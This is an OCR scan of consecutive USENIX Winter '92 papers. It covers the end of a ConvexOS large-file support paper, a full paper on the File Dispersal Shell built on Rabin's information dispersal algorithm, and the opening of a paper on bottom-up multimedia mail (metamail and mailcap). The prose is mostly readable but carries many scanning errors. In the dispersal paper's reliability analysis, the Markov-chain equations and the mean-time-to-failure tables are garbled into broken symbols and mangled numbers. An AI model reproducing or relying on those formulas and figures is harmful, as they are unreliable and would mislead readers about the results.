• Adding support for the new 1 flag to fopenO, fdopenO, and freopenO.

• Adding the remaining entry points for the new system calls.

The total effort required for the kernel work was about 18 programmer weeks. C library work took about
three programmer weeks while FORTRAN support took four programmer weeks.

Utility changes

The major problem in making programs large file aware is caused by code that assumes the key system calls
and library functions accept and return a long. To resolve this assumption requires careful review of the
code. The number of utilities that we made large file aware for the first release was limited because of time
constraints. We found the following basic set of utilities adequate:

Utilities for creating and maintaining filesystems: fsck, ncheck, mltfs, fsirand, mount, newfs, dumpfs,
newst, putst, getst,7 dump, xdump,8 and restore.

Utilities identified as essential for the reasonable use of large files: ls, cp, mv, rep, ftp, find, tail, cat,
dd, chkpnt, restart,9 compact, cmp, tar, and cpio.

5This was due to concern for compatibility with other NFS implementations and 32-bit pointers within the NFS
definition.

6 A quad is two longs wide, for a total of 64 bits.

7The *st utilities are used for maintaining our implementation of disk stripes.

8 xdump is a fast dump utility fully described in [Polk88].

9Both chkpnt and restart are used in the ConvexOS implementation of a checkpoint/restart system.
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Since we were adding support for large filesystems in addition to support for large files, it was necessary
to enhance the utilities used for creating and maintaining filesystems. Thus we considered it essential, from
project inception, that all existing filesystem manipulation and maintenance utilities be large file aware.

It was difficult to choose the subset of remaining utilities to make large file aware. Given our project
schedule and staffing, it was necessary that only a minimal set of utilities be made fully large file aware.
There was neither time nor resources to examine and enhance all 400 utilities that are part of ConvexOS.

ls is an obvious choice to be made large file aware since it displays the sizes of files. cp and mv are two
other obvious candidates for large file awareness, although both were further enhanced to preserve sparse
files ("holes") during copying. Both rcp and ftp were enhanced and are capable of transferring large files
over the network, although neither preserves sparse files. find was also made large file aware since it includes
both a -ls and -size option.

tail was made large file aware because it allows users to look at the end of a file, and it allows the
continual monitoring of a file using the -f option. The corresponding head utility was left large file unaware
since it only works with the first 2G of a file.

Since we considered making our shells (sh, cah, and kah) large file aware an immense task, 110 redirection
with large files is not implemented. This issue can be avoided since, with a data source and a data sink, a
pipeline-that has no size limits-can be created. For example, the output of an application can be piped
into a large file aware data sink, that can then write the output to a large file. We provide both data sources
(cat or dd) and a data sink (dd) that are large file aware. Thus, rather than using shell redirection like this:

Y. application > large_file

the user pipes application output into a data sink like this:

Y. application I dd of=large_file

Both chkpnt and restart required changes since, in conjunction with the kernel, they recover and
restore file offsets to/from in-core process images. If these utilities had been left large file ~naware, it would
be impossible to checkpoint applications that use large files. .

compact and cmp were added late in the project. Although neither one is efficient enough to be pleasantly
used with large files, the effort required to make them large file aware shows the relative ease of making an
application large file aware under our chosen programming model.

tar and cpio were special enhancements. We wanted them to be large file aware since they give users
some form of file level archiving other than the dump and restore suite. Because of limitations in the archive
header formats imposed by [IEEE88], these two utilities are limited to archiving files smaller than 8G.

There are some seemingly useful tools, such as editors and other data manipulation tools, noticeably
missing from the list of large file aware utilities. We feel that interactive editors are not useful on files larger
than IG, even if the user does have enough space in /tmp. Our reasoning is that large files are manipulated
by applications, not by manual editing. Also, in general, the editing ofsuch large files should be batch-based,
using either specially written tools, or sed.

Further, tools such as sed and grep were not enhanced since they are designed to read from standard
input and write to standard output. When used in this mode they are inherently large file aware. It is
simple enough to create a pipeline with a large file aware data source at one end, the data manipulation
tool(s) in the middle, and a large file aware data sink at the other end.

Finally, utilities that examine filesystem data seem to be prime candidates to become large file aware, but
are frequently found to not require modification when inspected more closely. For example, many utilities
such as du and df do their computations in terms of filesystem blocks, not bytes. As we continue to use our
large file implementation, we will find and fix additional utilities that need to be large file aware.

The process of making a program large file aware generally takes the following steps:

• Cleaning up the source to compile in the ANSI c-conforming mode of our compiler. This is necessary
since large files are only available when using the ANSI C mode of our compiler. They are only available
in this mode since, generally, we do not add new functionality to the backwards compatible mode of
our compiler.
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• Correcting incorrect data type assumptions. For example, this includes converting code to use off_t
for file offsets (for ANSI C conformance), correcting the assumption that the number of bytes in a
filesystem can be expressed as a 32-bit value, etc.

• Changing instances of creat 0 into calls to openO with the O_CREAT flag.

• Adding either the new O_LARGEFILE flag on calls to openO or the new 1 modifier on calls to fopenO,
fdopenO or freopenO. Both additions give the resulting file descriptor access to large files.

• Changing calls to fstatO or lstatO into calls to ~stat640 lstat640, with the corresponding
change of the struct stat to a stat64_t.1O Any use of the st_size field must be verified to make
sure proper data types are being used.

• Changing calls to fseekO or lseekO into calls to fseek640 or lseek640, with the corresponding
change of the offset parameter from an off_t to an off64_t.

• Changing calls to truncateO or ftruncateO into calls to truncate640 or ftruncate640. This
also requires that the offset parameter passed to these functions be an off64_t, either directly or via
a cast.

The total effort required for utilities conversion was about 20 programmer weeks. The most difficult
utilities to convert were fsck, dump, and xdump since they had intimate knowledge of the filesystem. Testing
of the utilities took about nine programmer weeks.

Performance evaluation

At the time large files were implemented, CONVEX'S high performance disk drive was the Seagate Sabre 5
HP2, a l.IG IPI-2 drive. After formatting, a drive has about 800M of data space available. Thus, to create
a filesystem larger than 2G, requires striping multiple drives together. On large sequential reads and writes,
each drive in a stripe will achieve a throughput of 5.2M/sec until the maximum number of drives that the
CPU can drive at full speed is reached.

I/O performance is evaluated using a C program that does large sequential reads or writes. Parameters
for the program are the size per read or write system call and the total file size to read or write. The total
number of system call requests per run is obtained by dividing the file size by the size per request. The read
times reported avoid interference from the buffer cache by flushing the cache before each measurement run.
Writes go through the buffer cache, but include the time to do a fsync() system call, guaranteeing that the
data has been transferred to disk.

The results that follow were obtained on a CONVEX C3220 reading and writing to an eight-way striped
filesystem with a total capacity of 7AG. The read and write request sizes are held constant at 256K. Graph 1
gives the total time in seconds to read and write files ranging in size from IG to 7G on a filesystem with a
641{ block size. Graph 1 shows that the elapsed time increases linearly with file size and that reading a 7G
file on a C3220 with a high performance disk stripe takes about six minutes. Writing a 7G file takes a little
over eight minutes.

Graph 2 plots the read and write I/O rate in M/sec as the file size increases from 1G to 7G. The
I/O rate for reads is a little less than 19M/sec and shows a slight decrease as the file size increases. The
write rate shows a slightly larger decrease; at IG the performance is 15M/sec and at 7G, the rate drops to
14.6M/sec. The largest decrease is between IG and 2G. This corresponds to the move from single to double
indirect blocks that occurs at 1.7G on a filesystem with a block size of 64K, indicating that this move has
a slight impact on performance for large sequential writes. This effect is smaller than might be expected
because the performance bottleneck for a high speed striped filesystem is the movement (copying) of data
between buffers, and not the file system structure. Experiments with filesystems using unrealistically small
filesystem block sizes (to force the use of triple indirect blocks) have shown that a similar slight decrease in
performance can be expected when moving from double to triple indirect blocks.

lOstat64_t is a typedef for the new kernel structure used during stat640 calls on large files. stat_t was also
added for orthogonality.
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Conclusion

We were able to limit the kernel changes required to support large files since the filesystem already had
on-disk support for large files up to IT-512 and ConvexOS already supported disk striping. Our major
addition to ConvexOS was providing a second, 64-bit system call interface for key system calls. The most
difficult decision we had to make was choosing the C programming model to implement. The model we
choose was the simplest to implement from a kernel, compiler, and library standpoint while still meeting
our customers' requirements. We were able to meet our primary goal of seamless FORTRAN support.

Our implementation of large files took approximately 45 programmer weeks to implement. This included:

• 20 weeks for utility work

• 18 weeks for kernel work

• 4 weeks for FORTRAN support

• 3 weeks for library work

In addition, 15 weeks were spent testing the kernel, utilities, and libraries. Our performance investigations
show that the large file implementation had little effect on the I/O rates for large, sequential reads and
writes.

Availability

Our implementation of large files is part of ConvexOS beginning with version 10.0. Source code is part of
the standard OS source distribution and is available to ConvexOS source code licensees.
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Abstract

The File Dispersal Shell is a storage-efficient reliable data storage prototype facility for local area networks.
Rabin's infonnation dispersal algorithm provides an attractive data organization scheme which potentially uses less
physical storage space than replication while obtaining excellent data reliability and access times comparable to
those obtained for a single disk. We have constructed Rabin's information dispersal algorithm within a UNIX sys­
tem shell that provides almost all the traditional shell facilities augmented with two additional commands to create
and delete dispersed files. We present analytical mean-time-to-data-Ioss results, storage requirements, together with
our prototype implementation and preliminary access-time measurements. For practical purposes, dispersed files
are invisible to the user except for the improved reliability at modest disk space cost.

1. Introduction
Data replication has served as the principal tool to provide improved data reliability as well as improved access
times within distributed computation environments [1,2,3]. Data replication has the inherent drawback of requiring
large amounts of storage space at least double the size of the file stored More recently, the redundant array of inex­
pensive disks (RAID) five level organizational strategy [8] has been explored; this ultimately utilizes less storage
space than data replication while providing less fault tolerance. The level 5 RAID organization can accommodate
single disk failures without information loss. We are interested in considering the efficacy of other data representa­
tions that potentially utilize less disk storage space than replication while providing high data reliability in the pres­
ence of multiple disk failures.

Rabin's information dispersal algorithm (IDA) [9] provides a very attractive generalization of both the RAID
[4,8] organizations and data replication [5] which provides a wide spectrum of alternatives for storage efficiency,
fault tolerance and access time performance. The IDA scheme can provide storage-efficient organizations, excellent
data reliability, and access times comparable to those obtained by a single disk. We do not study this tradeoff expli­
citly within this paper; rather we are concerned with the viability of IDA as a fault-tolerant alternative suitable for
local area networks. We show experimentally that these ideas are worthy of exploration. Our paper is structured as
follows: section 2 contains a brief presentation of IDA, section 3 contains a discussion of our File Dispersal Shell
(FDS) system implementation of IDA, within section 4 we present our data reliability analysis of the mean time to
failure for several system configurations together with storage requirements, section 5 contains our preliminary per­
formance measurements and evaluation of the FDS system, and finally within the conclusion we recapitulate our
results as well as mention areas for future study.

2. The Information Dispersal Algorithm
We present an overview of Rabin's Information Dispersal Algorithm for storing and retrieving a file. Interspersed
with the presentation is an example which is very similar to the version utilized in our experiments. IDA organizes
a file into n equal-sized pieces, referred to as fragments, with each stored as an ordinary file at a different site. We
can construct the file if we have access to all n fragments, but this approach need not provide any fault tolerance.
For example, we could store every nth file character within the same fragment and we would require all n fragments
to construct the file from the fragments. Moreover, if the fragments are each identical to the file itself, we have (re­
named) file replication; this of course will provide excellent fault tolerance but with extravagant disk storage space

This study supported in part by the NCR Corporation, the University of California MICRO program, and the Hughes Fellowship Thesis Program.
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requirements. A fundamental property within IDA is that a fixed number m of fragments will always suffice to
reconstruct the file. We would like the fragments to be as small as possible roughly l/mth the size of the file,
thereby efficiently utilizing disk space. For a file F containing N bytes values, Po , P1 , P2, ••• , PH-I, each fragment
will contain (N+m-l)/m byte values.

The process of creating the n fragments is referred to as file dispersal and the process of recreating the con­
tents of the file from m fragments is referred to as file reconstruction. File dispersal and reconstruction are
computationally-efficient linear ttansfonnations of the contents of the file or the contents of m fragments. The
dispersal transfonnation maps m contiguous message bytes to n byte values. The m xn dispersal matrix D specifies
the transfonnation. The dispersal matrix must have the property that any m columns are linearly independent; this
condition assures that the fundamental IDA property will hold and we refer to it as the independence property. We
will return to the issue of selecting such matrices after introducing IDA.

As an example, we let n=4 and m=2; within this configuration, each fragment will be approximately one-half
the size of the file and since there are four fragments stored we are using as much disk space as if we had created a
mirrored disk. As an aside, if n= 10 and m=9 then we obtain a RAID Level V reliability group with 10 disks or if
n= 2 and m=1 we obtain a replicated file. Returning to our n=4 and m=2 example, our dispersal matrix is

[
1 0 1 1 ]

D = 0 1 1 5

File dispersal is accomplished using D such that two contiguous file characters are mapped to four fragment charac­
ters.

(P2j, P2j+1)D = (!OJ,Jij,hj,!3j)

Each fragment characterhj is stored within fragment Fj •

For a detailed example, suppose that our file contains the ASCn encoded text

The old man and the sea.\n

Then the four fragments contain the following byte values expressed in octal notation:

Fo 124 145 157 144 155 156 141 144 164 145 163 141 012
F1 150 040 154 040 141 040 156 040 150 040 145 056 000
F2 074 105 003 104 014 116 017 104 034 105 026 117 012
Fj 355 305 302 304 371 316 306 304 315 305 363 367 012

Fragments F0 and F I consist of every other value within F as we show here:

F0 Teo d III n a d t e 8 a \n
F1 h \40 1 \40 a \40 n \40 h \40 e \0

The contents of fragments F2 and F3 require more explanation. We desire to store the sum and products of byte
values within a byte; for addition there may be carry overflow and for multiplication the potential for overflow is
more acute. We use the finite field GF(28) which is defined over the 8-bit byte value domain to avoid these
overflow problems. Both addition and subtraction are particularly straightforward here as both are the bit-wise
exclusive-or operation. Multiplication and division are more intricate; the interested reader is referred to Chapters 3
and 4 of MacWilliams and Sloane [7] for a mechanism to create the multiplication table.

The reconstruction process is defined as a transformation that maps byte values from m fragments to m mes­
sage byte values for file F. Since any m columns within D are linearly indepentdent, we construct the mXm inverse
matrix R for the columns associated with the m fraglnents participating within the reconstruction. The fragment
entries are processed sequentially.

Within our n=4 and m=2 example, we can reconstruct a pair of message byte values within the original file
by solving a pair of linear equations in two unknowns since any pair of columns within D is linearly independent.
Suppose we have access to fragments i1 and i2; then we will have

(h,j,fizj)Rj,,~ = (P2j, P2j+1)

where Ril'~ is the 2x2 inverse matrix for the columns associated with the specific fragments. For our example,
there are six different inverse matrices to store or detennine on the fly. The inverse matrix for fragments 2 and 3 is
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1 [5 11] = [11 51 ]-1R2,J = 4" 1
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The individual reconstruction computations are

( P2j +P2j+J • P2j +5·P2j+J ) R2,J = (P2j. P2j+J)

The sequence of computations to reconstruct the file from fragments F2 and F3 would be

(074, 355)R2,J' (105, 305)R2,J. (003, 302)R2,J. (104,304 )R2 ,J .....

yielding the ASCII character code data for F.

(124,150), (145,040), (157, 154), (144,040), ....

We observe that there are two varieties of fragments within our example; Fragments Fo and FJ allow very
easy file reconstruction since merging them is all that is necessary. Any other combination of fragments will require
"real" computation during reconstruction. While the presence of fragments allowing this simplistic reconstruction
is not required by the information dispersal algorithm, it is certainly advantageous. Dispersal schemes containing
these ease-of-reconstruction fragments are said to have the systematic property.

More generally, we will require that our dispersal matrices always have the systematic property; that is, the
leftmost m columns of the dispersal matrix constitute an identity matrix. Reconstruction will be the very straightfor­
ward merging of files for the m fragments associated with these columns. We refer to these m fragments as primary
fragments and the others as secondary fragments. In the absense of failed sites and other conditions being equal
(such as site load) the reconstruction process will access only the primary sites.

Finally, we return to the issue of selecting a dispersal matrix. We have two requirements: (I) the systematic
property and (2) the independence property. The independence property ensures that any m fragments suffice to
reconstruct the file F from the fragments. The systematic property ensures that for one combination of m fragments,
reconstruction is accomplished by merging the fragments. The Vandermonde matrix [7] provides an nx n matrix
having non-zero determinant thereby assuring linear independence of its columns. Our dispersal matrix can be con­
structed from this matrix by truncating the bottom n-m rows of the Vandermonde matrix. Since any m "shor­
tened" columns constitute an mxm Vandermonde matrix, any combination of m columns will be linearly indepen­
dent as required. We then utilize elementary matrix transformations to obtain a dispersal matrix in which the left­
most m columns form the identity matrix. We may construct such a matrix over GF(28 ) with as many as 256
columns. For practical applications this is probably more than adequate. A general presentation of the information
dispersal algorithm is provided within Schwarz and Burkhard [10].

The parameters n and m together provide two useful measures for our data organization schemes. The differ­
ence n- m is the maximum number of simultaneous failures allowed without losing our ability to reconstruct the file
F. The ratio N(n-m)/m measures the additional storage utilized to improve data reliability. Within our example, as
many as two disks can fail together without loss of our data. While our additional storage equals the size of the file
itself, we obtain a much larger data reliability figure with the data spread over the four disks rather than using two
disks each containing one copy of the file. One interpretation of this result is that the extra pair of disk arms yields
additional data reliability! We present the general discussion of data reliability in section 4.

3. File Dispersal Shell ArChitecture
The File Dispersal Shell (FDS) is a UNIX system shell providing the usual shell commands together with dispersed
files. Each fragment is implemented as an ordinary file. Dispersed files are recognized within the command line
and processed as described here. There are two new commands dcreate and dremove to create and delete a
dispersed file. Our goal is primarily run-time performance measurements; nonetheless our prototype is realistic.
The user accesses both dispersed and non-dispersed files through traditional shell commands. However script-like
commands, such as make, will not access dispersed files properly.

Internally FDS is implemented as a set of trusted servers communicating via sockets. There are two varieties
of local servers fdshell and dcreate and one remote server rs. We provide an overview of the operation
of the three; the interesting details will be discussed ~ithin the implementation paragraphs that follow.
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fdshell client algorithm

1. The command-line is broken into tokens and each is checked to detennine whether it names a dispersed file. The
user privileges at the remote sites are analyzed as well.

2. The dispersed files are reconsttucted at the client site.

3. The command is executed, via a system command, using the reconsttucted files and ordinary files as parameters.

4. The modified reconstructed files are dispersed.

This schema will suffice for many UNIX commands; it certainly suffices for our testing purposes. However, several
non-script commands must be handled as special cases. For example, the creation and deletion of a dispersed file,
the addition of a single fragment to a dispersed file, the mv command, and the cp command are specific cases.
Dispersed file creation is handled as a separate client algorithm below. The deletion command dremove removes
all fragments of a dispersed file by means of the rm command which remains unchanged; in otherwords, you can
remove a single fragment.

The dcreate command is similar to the fdshell command; its parameters are a sequence of site names
together with the name of either an existing non-dispersed or non-existent file.

dcreate client algorithm

1. The user's access privileges are checked at each named site. The specified file is checked to determine whether it
is present as a dispersed- or ordinary file or not present

2. If it exists as an ordinary file, it is dispersed to the sequence of sites. If it does not exist, the named sites are
informed of the dispersed-file name.

This scheme does not modify an already dispersed file.

Finally we present the remote server rs algoritlun which at the high level is a message processor. There are
three varieties of messages; those associated with privilege checking, dispersal and reconstruction. Of course there
are "special case" messages for the exceptional commands mentioned previously. The activities described are
undertaken by the server when the messages is received.

server algorithm

1. Privileges check and response.

2. Dispersal.

a) The create message records the presence of the dispersed file name.

b) The send file message initiates the fragment transfer process.

c) Data block arrival.

d) The update file information data sttuctW'e message.

3. Reconstruction.

a) Initializes reconsttuction process.

b) Begin sending blocks.

Some of these messages have associated acknowledgement messages that we describe in the following section con­
cerned with Fault Tolerance.

This prototype was implemented primarily to measure the response time performance of the information
dispersal algorithm within a local area network. We have utilized standard UNIX System files without enhance­
ments such as NFS or VFS. We store all information regarding the location of fragments within the UNIX System
file directory; nothing is stored within the fragments other than "fragment" data. We store the following informa­
tion within the softlink associated with each file.

names of sites where the fragments are located
pathnames at each site to the fragment
file size when reconstructed
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The size of the softlink (1024 characters) limits the infonnation we can store here, but the same softlink is stored at
each fragment

3.1. Fault Tolerance
There are numereous sources of faults and failures within storage environments - the human operator, the software
system and the hardware system. Our work is motivated primarily with robust file storage in the presence of
hardware failures. Nevertheless, our work can improve the tolerance of various varieties of human and software
failures too.

Our model of faults is fairly simplistic for this study. We assume that the storage subsystem enters a fail-stop
mode'when a failure occurs [11]. Moreover we assume no Byzantine behavior. We assume that all failures are
detected by timeouts and that these failures may be detected during either dispersal or reconstruction. There are
acknowledgement messages during either dispersal or reconstruction.

During dispersal, after a fixed number of blocks have been sent to each site, each remote site is to relay its
satisfactory progress with an acknowledgement message. This message is to be sent only after the most recent
block has been written to disk. The fdshell client can determine whether a time-out has occurred.

During reconstruction, the blocks arrive without associated messages once they begin moving across the net­
work. However the client requests a fixed number of blocks from each site when additional blocks are necessary. If
a block arrives too late, the fdshell client can decide a time-out has occurred.

4. Data Reliability Analysis
Our analysis of data reliability provides measurements allowing the comparison of various data organization
schemes. We present a general analysis of IDA in which the scheme is modeled as a finite state continuous Markov
chain and utilize standard techniques [9]. We begin by assuming the fragment failure rate A. is constant. the repair
rate fl is constant. and that failure and repair events are independent The states within the Markov chain correspond
to the number of fragments accessible at a given time. Our analysis is general and applies to various versions of
IDA including RAID Level V, mirrored disks etc. The measurement we calculate is the u mean time to failure tt

(MITF) for these Markov chains. Figure 1 presents our Markov chain model.

nA (i+l)A. (m+l)A.

Figure 1. IDA Markov Model

The state labels designate the number of operational and accessible fragments. Associated with each state is proba­
bility Pdt) which designates the probability of being in state i at time t. The failure state F is absorbing in our model
since it is entered only if fewer than m fragments are operational and accessible. The MITF is the expected time to
enter state F. Thus our computations are rather conservative since an inaccessible fragment need not contain stale
(not current) information. The reliability function R(t) is the probability of being in one of the non-failure state­
ments at time t; that is,

The MTIF is given by
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M1TF = IR(t) dt
o
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= (i+ 1) A,oP;+1 - (io).. + (n-i) JJ,)P;

II-1II

= -no'A·P" +Jl ~ j-Ptt-j
pI

The state transition equations for our model are as follows

dP;
dt

dP"
dt

n>i~m (I)

(2)

and we assume initially that P,,(O) =1 and the other probabilities are zero for the remaining states. We can solve
these differential equations using the Laplace transformation and since our interest is only in the M1TF for the model
we utilize the transform final value property to obtain our result We designate the Laplace transform off(t) byI(s).

,
MTfF = lim IR(x) dx = lim R(s) = i PdO)

1-+00 0 6-+0 ;=m

We compute P; for n~ i~m by solving equations 1 and 2 within the transform domain:

(i+I)'A·Pi+l = i·)..·Pi+(n-i)JJ,op; n>i~M (I')
_ tt-m_

1 = noA,op" - Il ~iPtt-j
j=1

(2')

Since we are only interested in P;(O) we have replaced the differential equation with recurrence equations we can
readily solve. The zero arguments for each Pi are implicit in these equations and the solution is given by

P,'+1 (n-i)JJ. + )..oi P n > i ~ m= (i+l)).. i

1
Pm = moA, °

The ratio co = Ill).. is very large within reliability calculations and we obtain the following useful approximations.

We finally determine that

n-i ­
Pi+l = -=--1 co Pi1+

n>i~m

M1TF :::
noA.C(n-l,m-l)

(3)

where C(x,y) is the binomial coefficient ! ( x! ) t •
y. x-y .

As an example we analyze an n=4, m=2 system as well as n=3, m=2 and finally n=m=2 configurations.
For comparison we consider three file mirroring configmations that contain two, three and four replicas respectively.
We also consider organizations in which the no repair is undertakeno This requires· analyzing a similar Markov
model without any "repair" transitions which we have labeled with Il in our model. No approximation is needed
and result is

M'ITFwith . = 1.[1.+_1_ + 0 o. + _1_ ]
outrcpm A. n n-I m+1

Table I contains both the MITF and MTI'Fwithout repair values as well as the n and nlm parameter valueso
The column labeled nlm specifies the nonnalized aggregate size of the components representing the file; that is the
value k indicates space utilization k times that of a file itself. The n column specifies the number of disks involved;
each fragment or replica is stored on a separate disk.

A modem disk with an expected life time of 100,000 hours and a repair rate of one day per repair yields the
MTIF results presented within Table 2. Various organizations utilizing identical amounts of storage space can have
vastly different reliability measures. The four fragment versus two replicas configurations both use twice as much
storage but the four fragment version is clearly the reliability winner.
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configuration MTI'F MITFwithout repair nlm

two fragments 1/2'A 1/2'A 1
three fragments 00/6 'A 5/6'A 3(l
four fragments fJil/48 'A 13/12'A 2

two replicas 00/2 'A 3/2'A 2
three replicas 002/12 'A 11/6'A 3
four replicas 003/144 'A 25/12'A 4

Table 1: General Mean Time to Failure Results

n

2
3
4

2
3
4

configuration

two fragments
three fragments
four fragments

two replicas
three replicas
four replicas

MTfF (years)

5.71x 100
7.93x 1<f
4.13x Ie?
2.38x 1<>4
1.65x 107

5.73x 1<f

MTfFwithout n:pair (years)

5.7
9.5

12.4

17.1
21.0
23.8

Table 2: Specific Mean Time to Failure Results.

Finally we compare the storage required by the various file organization schemes. The FOS system can be
space efficient but at the expense of fault tolerance. The n=3, m=2 configuration provides smaller MTfF values.
We can move even further along these lines to an n=4, m=3 configuration which trades reliability for disk storage
space. The M1TF is 00/(12·'A) which is one-half the value obtained for the three fragment configuration. The mean
time to failure for either the three or four fragment dispersal scheme is most likely acceptable in practice.

s. Run-Time Performance
We present the results for a system configmation consisting of three very similar Sun SPARCstation 1 systems. We
utilize a local disk at each system for our data storage and communication is obtained via a local area network with
no gateways separating them. We have measured the response time performances for a test suite that consists of the
following file sizes (measured in bytes:)

2000 4000
10000 5()()()()

100000 25()()()()
500000 100000o

1250000 1500000
2000000

Our results are presented within Figure 2 which contain response time curves labeled dispersal and reconstruc­
tion. The dispersal response curve measures the time required for step 4 within the fdshell algorithm. The
reconstruction curve measures the time required for step 2 within fdshell. The test suite generated 100
dispersal and reconstruction times for processing these 11 dispersed files. Our measurements reflect the overhead
associated with the dispersal and reconstruction management processes. The running times grow approximately
linearly with the size of the file as we would expect, except for very small files. The reconstruction time reflects
slightly heavier network usage than the dispersal times. Within these experiments, during reconstruction every
block is requested from each server by the client; and during disperSal the remote sites acknowledge receiving and
writing to disk every 16 blocks. If the acknowledge/request message rate is the same, we would expect the dispersal
time to slightly exceed the reconstruction since a greater number of sites is involved. Our block size for these
experiments is 1000 bytes.

USENIX - Winter '92 7S



Storage-Efficient Reliable Files Burkhard, Stojadinovic

We always disperse the files to the three sites which we view as one secondary and two primary sites. We
present, within Figure 2, the response times for dispersal to three sites and reconstruction from two primary sites.
This reflects operation in nonnal fault-free situations. We also present the results of dispersal to the three sites and
reconsbUction from a primary and secondary site. These response times are very similar even in the failure mode.
The 95% confidence intervals for these response times are very small- much less than 1 percent of response times.

These operations will have different response times during recovery of a failed fragment/disk. The dispersal
operation can actually run faster if fewer than three fragments are to be created. Of course, if fewer are created, a
future background recovery process will incur additional system load.

6. Conclusions
We have presented the File Dispersal Shell prototype syStem. Our initial measurements indicate that the fault-free
run-time performance of the shell is excellent. The fault tolerance achievable by FDS is excellent The expected
time to failure for the system far exceeds several thousand years with three fragments present. One conclusion
from this study is that we can trade only performance (and then a very little) and obtain excellent reliability figures
for our storage systems. The n=4, m=2 and the n=2, m=l (replication) configurations demonsttate this point;
both only double the storage size while the former markedly improves the reliability.

We would implement the recovery procedure in the future. While analytic estimates of the performance
degradation incurred by recovery are possible, we would like to obtain empirical data as well. When a failure
occurs, recovery could be initiated either when the fragment becomes available again or if a stand-by disk is avail­
able. The use of stand-by disks is a very attractive approach.

In the future, we plan to redesign our implementation of the information dispersal algorithm. The recon­
structed file could be located, for example, within the / tmp subdirectory thereby avoiding disk quota problems.
We could improve step 10f fdshell using standard lexical analysis techniques rather than our ad hoc approach.
We could use out-of-band messages to implement acknowledgements thereby avoiding polling when can occur in
our system. Another direction would be to extend the standard input-output library to include dispersed files.
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Multimedia Mail From the Bottom Up
or

Teaching Dumb Mailers to Sing

Nathaniel S. Borenstein
Bellcore

Abstract

Multimedia mail systems have exhibited great potential, but the widespread use of
multimedia mail has so far been inhibited by the lack of interchange standards and
the heterogeneity of mail-reading software. This paper describes a new approach
that seeks to break the existing log-jam and make multimedia mail a practical reality.
The paper begins with a brief summary of the state of the art in multimedia mail
systems. It then outlines the new, "bottom-up" approach, and describes the
configuration mechanism that is central to its operation. Next, it describes a
prototype implementation and its deployment on top of over a dozen different mail-
reading programs at Bellcore and elsewhere. Finally, problems in the prototype
installation are discussed, along with future prospects for multimedia mail using this
approach. The paper ends by outlining a vision of a new and better "lowest common
denominator" for electronic mail.

The Promise of Multimedia Mail

Electronic mail (email) is a widely-used and much-appreciated technology. Ever
since the inception of electronic mail, there has been much discussion of its even
greater potential. For most people, email today is a text-only medium, in which
unformatted textual messages can be sent rapidly to even the most distant of
correspondents. In principle, the limitation to plain text is artificial. Email is
fundamentally capable of carrying richly formatted text, images, audio, video, and
indeed anything that can be encoded in a digital form. In practice, however, the vast
majority of the world's email users are still restricted to plain text, due to a lack of
interchange standards and a profusion of heterogeneous software for reading mail.
The relatively few users of advanced multimedia mail systems such as Andrew
[Borenstein, 1991a] and Diamond [Forsdick, 1984] can only interchange multimedia
mail with other users of the same software. An Andrew user and a Diamond user
cannot, for example, send mail with pictures to each other. The result is that no
multimedia mail technology has reached "critical mass" and made anything beyond
plain text a part of the standard email infrastructure for the masses.

The approach taken by most multimedia mail system to date can be characterized as a
"top-down" approach. The developers of such systems said to their potential users,
like prophets bearing revealed truth, "Behold! I give you multimedia mail. All you
need to do, in order to reap its blessings, is to change your mail reading program,
your mail sending program, your text editor, your drawing editor, and generally
everything about the way you work on a computer. And, by the way, all your
correspondents must do the same as well." When viewed in this way, it is perhaps
unsurprising that the world has not rushed headlong to embrace any of these
systems.
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The situation is best illustrated by considering the two different types of sites where
the Andrew Message System is in use. At some sites, including the Carnegie Mellon
University campus, where Andrew was developed, the use of Andrew is nearly
ubiquitous. (This was typically accomplished by administrative fiat.) Given this fact,
the sender of a message can rely on the ability of the recipients to see a multimedia
message in all its splendor. In such environments, a substantial portion of all mail
messages contain at least multi-font text, and mail containing images, hypertext
links, or other multimedia objects are not uncommon. At the other extreme,
however, are sites where a few individuals have elected to use Andrew. While such
individuals, like the users of any mail-reading software, may wax lyrical at times
about the virtues of Andrew, they rarely, in practice, make use of its multimedia
facilities, for the simple reason that their ability to send multimedia messages is
useless if the people they're sending them to can't read them. Somewhere between
these two situations, it seems, a community reaches critical mass with respect to the
use of multimedia facilities. Clearly the Internet community as a whole is nowhere
near reaching such critical mass, nor does it even seem to be moving in that
direction.

It is difficult to doubt that multimedia mail would be greatly appreciated if it were
widely available. The question, then, is how a transition can be effected from the
current text-only mail world to a world of multimedia mail. The top-down approach
that has been tried up to now shows little prospect of imminent widespread success.
Convincing users to change to a new mail-reading program is, at best, a difficult
proposition. It is made even more difficult by the fact that most users do not perceive
themselves as "needing" multimedia mail and are unlikely to see its value until after
they have already had it for a while.

The Bottom-Up Approach to Multimedia Mail

What is needed, then, is a way to introduce multimedia mail without traumatizing
users with an enormous transition, such as a transition to a new mail-reading
program. To put it starkly, what is really needed is to give the users of each existing
mail reading program a new version of that program that has been enhanced to
understand all the desirable kinds of multimedia mail.

When stated this way, the goal is nearly prohibitive.' The cross product of the
number of mail readers times the number of possible multimedia mail formats results
in an enormous number of combinations. Moreover, each time the set of mail
fonnats grows, each of the mail readers would need to be modified again. This is
clearly impractical. However, there is a simplifying bottom-up architecture that
makes the problem tractable once more.

In the bottom-up architecture, each existing mail reader is modified once, and only
once. It is modified in a relatively simple way, without any knowledge about specific
multimedia mail formats. In this modification, the only thing that changes is that,
when the user asks to see a message, the mail reader first checks to see if the mail is
non-textual. In Internet mail, this means checking the "Content-type" header field.
The emerging standards for multimedia Internet mail [Borenstein and Freed, 1991]
use "Content-type" to specify a major type, such as image, audio, video, etc., and a
format-specific "subtype", such as pbm, u-Iaw, mpeg, etc. Note that although
type/subtype terminology is used, there is no inheritance and only a single level of
subtyping.
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If the message contains non-textual data, then instead of simply showing the message
body to the user, the mail reader checks a configuration file that lists a series of
locally-recognized mail types, along with the locally-installed programs that can be
used to view mail of these types. Such a configuration file might specify, for
example, that mail with a content-type of "image/gifl can be displayed with the
"showpicture" program.

The key point here is that each mail reader is modified only once, and that all mail
readers are then able to obtain multimedia configuration information from a shared
configuration file. Once this is the case, the addition of new media types at a site
becomes a relatively straightforward matter: A binary program that can be used for
viewing the type is installed, and a single line is added to the configuration file.
Even if dozens of different mail readers are used at the site, their shared use of the
configuration file means that users of any of those mail readers can now view the
new type of mail.

In the prototype implementation, to be described below, the software situation is
simplified even further by the introduction of an intermediate program, called
"metamail". This program encapsulates all knowledge of the configuration files
(called "mailcap" files in the prototype implementation), so that each mail reading
program need only be modified to call "metamail" in order to display non-text mail.
The resulting architecture is pictured graphically in Figure 1.

Whether a mail reader includes knowledge about configuration files directly, or
